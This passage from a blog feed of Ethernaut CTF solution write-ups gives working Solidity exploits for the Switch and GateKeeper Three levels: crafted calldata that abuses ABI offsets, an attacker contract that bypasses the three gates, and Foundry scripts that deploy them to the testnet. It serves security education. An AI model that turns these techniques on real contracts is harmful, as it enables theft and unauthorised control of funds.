<ul>
<li><p>The first 4 bytes are the function selector;</p>
</li>
<li><p>The next 64 bytes are the offset and the length of the data;</p>
</li>
</ul>
<p>So the data, which is the function selector, starts at the 68th byte. What if we play with the offset and tell the function that the data starts at position 96 instead?</p>
<pre><code class="lang-bash"><span class="hljs-keyword">function</span> selector turnSwitchOn:
30c13ade

offset: (96-byte instead of 68-byte)
0000000000000000000000000000000000000000000000000000000000000060

extra blank 32-byte:
0000000000000000000000000000000000000000000000000000000000000000

<span class="hljs-keyword">function</span> selector turnSwitchOff at position 68:
20606e1500000000000000000000000000000000000000000000000000000000

data length (4-byte):
0000000000000000000000000000000000000000000000000000000000000004

data containing the <span class="hljs-keyword">function</span> selector that will be called:
76227e1200000000000000000000000000000000000000000000000000000000
</code></pre>
<p>And here is the output:</p>
<blockquote>
<p>0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000</p>
</blockquote>
<p>The <code>turnSwitchOn()</code> function selector is positioned at position 68, however, it is not relevant anymore as we are telling the function that the data starts at position 96 instead! We can finally call the <code>flipSwitch()</code> function to toggle the switch on!</p>
<h2 id="heading-solution">Solution</h2>
<h3 id="heading-in-the-browsers-console">In the browser's console:</h3>
<pre><code class="lang-javascript"><span class="hljs-keyword">await</span> sendTransaction({
  <span class="hljs-attr">from</span>: player,
  <span class="hljs-attr">to</span>: instance,
  <span class="hljs-attr">data</span>: <span class="hljs-string">"0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"</span>,
});
</code></pre>
<h3 id="heading-in-foundry-using-forge">In Foundry using <code>forge</code>:</h3>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Switcher</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> switchContract;
    <span class="hljs-keyword">bytes4</span> <span class="hljs-keyword">public</span> onSelector <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes4</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"turnSwitchOn()"</span>));
    <span class="hljs-keyword">bytes4</span> <span class="hljs-keyword">public</span> offSelector <span class="hljs-operator">=</span> <span class="hljs-keyword">bytes4</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-string">"turnSwitchOff()"</span>));

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _switchContract</span>) </span>{
        switchContract <span class="hljs-operator">=</span> _switchContract;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">toogle</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">bytes</span>
            <span class="hljs-keyword">memory</span> data <span class="hljs-operator">=</span> <span class="hljs-string">hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"</span>;

        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> switchContract.<span class="hljs-built_in">call</span>(data);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Toogle failed!"</span>);
    }
}
</code></pre>
<p>Now we can craft the script for deployment:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Switcher</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/29_Switch.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">ISwitch</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">switchOn</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your Switch instance</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> <span class="hljs-keyword">immutable</span> switchContract <span class="hljs-operator">=</span>
        <span class="hljs-number">0x71d674183F060C9819002181A2cDBa21520D17c2</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        Switcher switcher <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Switcher(switchContract);
        switcher.toogle();
        console2.log(
            <span class="hljs-string">"Is the switch on yet? "</span>,
            ISwitch(switchContract).switchOn()
        );

        vm.stopBroadcast();
    }
}
</code></pre>
<p>And the command to run the script:</p>
<pre><code class="lang-bash">forge script script/29_Switch.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p>Let's check the result:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713943631459/ecd92728-c98e-4b74-80dc-3196776740e1.png" alt class="image--center mx-auto" /></p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li><p>Calldata encoding is a crucial part of the Ethereum Virtual Machine (EVM).</p>
</li>
<li><p>Assuming positions in CALLDATA with dynamic types can be erroneous, especially when using hard-coded CALLDATA positions.</p>
</li>
</ul>
<h2 id="heading-reference">Reference</h2>
<ul>
<li>Transaction Calldata Demystified: <a target="_blank" href="https://www.quicknode.com/guides/ethereum-development/transactions/ethereum-transaction-calldata">https://www.quicknode.com/guides/ethereum-development/transactions/ethereum-transaction-calldata</a></li>
</ul>
<hr />
<p>You can find all the codes, challenges and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 28 - Gate Keeper Three]]></title><description><![CDATA[Goals

The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint private password = block.timestamp;

    constructor(address payable _target) {
...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-28-gate-keeper-three</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-28-gate-keeper-three</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Tue, 09 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713942254491/aead5dca-6a87-4959-ac03-3815fd111e82.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/28-gate3-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/28-gate3-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SimpleTrick</span> </span>{
    GatekeeperThree <span class="hljs-keyword">public</span> target;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> trick;
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">private</span> password <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> _target</span>) </span>{
        target <span class="hljs-operator">=</span> GatekeeperThree(_target);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkPassword</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _password</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (_password <span class="hljs-operator">=</span><span class="hljs-operator">=</span> password) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        }
        password <span class="hljs-operator">=</span> <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>;
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">trickInit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        trick <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">trickyTrick</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> trick) {
            target.getAllowance(password);
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GatekeeperThree</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> entrant;
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> allowEntrance;

    SimpleTrick <span class="hljs-keyword">public</span> trick;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">construct0r</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateOne</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner);
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> owner);
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateTwo</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">require</span>(allowEntrance <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-literal">true</span>);
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">if</span> (
            <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span>
            <span class="hljs-keyword">payable</span>(owner).<span class="hljs-built_in">send</span>(<span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-literal">false</span>
        ) {
            <span class="hljs-keyword">_</span>;
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getAllowance</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _password</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">if</span> (trick.checkPassword(_password)) {
            allowEntrance <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createTrick</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        trick <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> SimpleTrick(<span class="hljs-keyword">payable</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
        trick.trickInit();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">enter</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">gateOne</span> <span class="hljs-title">gateTwo</span> <span class="hljs-title">gateThree</span> </span>{
        entrant <span class="hljs-operator">=</span> <span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>The <code>GateKeeperThree</code> is a really simple level. Nothing complex, just to follow the flow of each modifier. So let's check those modifiers:</p>
<h3 id="heading-gate-1">Gate 1</h3>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateOne</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner);
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">tx</span>.<span class="hljs-built_in">origin</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> owner);
    <span class="hljs-keyword">_</span>;
}
</code></pre>
<p>We just have to call the <code>construct0r()</code> function to become the owner of the contract. This is solidity ^0.8, constructors are defined with the <code>constructor</code> keyword. The following is not a constructor, typo or not.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">construct0r</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
}
</code></pre>
<p>On top of that, the function lacks access control so anyone can call it. Already seen in previous levels. Same for the <code>tx.origin != owner</code> check. So let's move on.</p>
<h3 id="heading-gate-2">Gate 2</h3>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateTwo</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-built_in">require</span>(allowEntrance <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-literal">true</span>);
    <span class="hljs-keyword">_</span>;
}
</code></pre>
<p>To set <code>allowEntrance</code> to <code>true</code>, we need to call the <code>getAllowance</code> function. This function needs a password. And to get the password, we need to read the storage. However, before we can do that, we need to deploy the <code>SimpleTrick</code> contract by calling the <code>createTrick</code> function. Then we can read its storage at slot <code>2</code>:</p>
<ul>
<li>With web3.js in the browser:</li>
</ul>
<pre><code class="lang-javascript"><span class="hljs-keyword">await</span> web3.eth.getStorageAt(<span class="hljs-string">"0x...your trick address here"</span>, <span class="hljs-number">2</span>);
</code></pre>
<ul>
<li>With Foundry:</li>
</ul>
<pre><code class="lang-solidity"><span class="hljs-keyword">bytes32</span> pwd <span class="hljs-operator">=</span> vm.load(<span class="hljs-string">"0x...your trick address here"</span>, <span class="hljs-keyword">bytes32</span>(<span class="hljs-keyword">uint256</span>(<span class="hljs-number">2</span>)));
</code></pre>
<p>Let's move on to the last modifier.</p>
<h3 id="heading-gate-3">Gate 3</h3>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">gateThree</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> <span class="hljs-keyword">payable</span>(owner).<span class="hljs-built_in">send</span>(<span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-literal">false</span>) {
      <span class="hljs-keyword">_</span>;
    }
}
</code></pre>
<p>So the contract needs to have a balance greater than 0.001 ether and must be prevented from being able to send it to our <code>GateSkipperThree</code> contract. So we can either add a fallback function that always reverts, or just make sure our contract can't receive funds by omitting the <code>receive</code> and fallback functions.</p>
<p>And... that's it.</p>
<h2 id="heading-solution">Solution</h2>
<p>Here is the full solution:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IKeeper</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">owner</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">entrant</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">allowEntrance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">trick</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">construct0r</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getAllowance</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _password</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createTrick</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">enter</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GateSkipperThree</span> </span>{
    IKeeper <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> keeper;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> trick;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _keeper</span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        keeper <span class="hljs-operator">=</span> IKeeper(_keeper);
        keeper.createTrick();
        trick <span class="hljs-operator">=</span> keeper.trick();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _password</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-comment">// Gate 1: Contract become owner, thanks to the lack of access control</span>
        keeper.construct0r();
        <span class="hljs-built_in">require</span>(keeper.owner() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-string">"Contract isn't owner!"</span>);

        <span class="hljs-comment">// Gate 2: Call getAllowance to get password</span>
        keeper.getAllowance(<span class="hljs-keyword">uint256</span>(_password));
        <span class="hljs-built_in">require</span>(keeper.allowEntrance(), <span class="hljs-string">"allowEntrance isn't true!"</span>);

        <span class="hljs-comment">// Gate 3: Deposit to keeper but revert on receive</span>
        (<span class="hljs-keyword">bool</span> success, ) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(keeper).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.0011</span> <span class="hljs-literal">ether</span>}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Deposit failed!"</span>);

        keeper.enter();
        <span class="hljs-built_in">require</span>(keeper.entrant() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-string">"Attack failed!"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-literal">true</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-literal">false</span>);
    }
}
</code></pre>
<p>Let's craft a script to facilitate the deployment:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>, <span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">GateSkipperThree</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/28_GateKeeperThree.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your GoodSamaritan instance</span>
    <span class="hljs-keyword">address</span> gateKeepperThree <span class="hljs-operator">=</span> <span class="hljs-number">0xe05Caa08305692ea6Bb2DB43E4c96a1e7A51FDB0</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        GateSkipperThree gateSkipperThree <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> GateSkipperThree{
            <span class="hljs-built_in">value</span>: <span class="hljs-number">0</span><span class="hljs-number">.0011</span> <span class="hljs-literal">ether</span>
        }(gateKeepperThree);

        <span class="hljs-keyword">address</span> trick <span class="hljs-operator">=</span> gateSkipperThree.trick();
        <span class="hljs-keyword">bytes32</span> pwd <span class="hljs-operator">=</span> vm.load(trick, <span class="hljs-keyword">bytes32</span>(<span class="hljs-keyword">uint256</span>(<span class="hljs-number">2</span>)));

        console2.log(<span class="hljs-string">"Password: "</span>, <span class="hljs-keyword">uint256</span>(pwd));

        gateSkipperThree.attack(pwd);
        console2.log(<span class="hljs-string">"Entrant : "</span>, gateSkipperThree.keeper().entrant());

        vm.stopBroadcast();
    }
}
</code></pre>
<p>Then you can run the script with the following command:</p>
<pre><code class="lang-bash">forge script script/28_GateKeeperThree.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key <span class="hljs-variable">$ETHERSCAN_API_KEY</span>
</code></pre>
<p>And check the result in the console:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1713943217165/0a167cba-073c-4a0e-8e49-bc6ed0efa2f8.png" alt /></p>
<p><strong>🎉 Level completed 🎉</strong></p>
<h2 id="heading-takeaway"><strong>Takeaway</strong></h2>
<ul>
<li><p>Use of the <code>receive</code> &amp; <code>fallback</code> functions.</p>
</li>
<li><p><code>tx.origin</code> != <code>msg.sender</code>.</p>
</li>
<li><p><code>private</code> doesn't mean secret in solidity.</p>
</li>
</ul>
<hr />
<p>You can find all the codes, challenges and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 27 - Good Samaritan]]></title><description><![CDATA[Goals

The Contract
A really fun challenge, with a simple goal and a pretty recent vulnerability introduced that we will need to be aware of from now on!
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import {Address} from "../helpe...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-27-good-samaritan</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-27-good-samaritan</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Mon, 08 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713932729729/23f90ecd-0e7e-463e-8e22-80327ebdb464.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/27-goodSama-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/27-goodSama-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<p>A really fun challenge, with a simple goal and a pretty recent vulnerability introduced that we will need to be aware of from now on!</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> &gt;=0.8.0 &lt;0.9.0;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Address</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../helpers/Address.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GoodSamaritan</span> </span>{
    Wallet <span class="hljs-keyword">public</span> wallet;
    Coin <span class="hljs-keyword">public</span> coin;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
        wallet <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Wallet();
        coin <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Coin(<span class="hljs-keyword">address</span>(wallet));

        wallet.setCoin(coin);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">requestDonation</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span> enoughBalance</span>) </span>{
        <span class="hljs-comment">// donate 10 coins to requester</span>
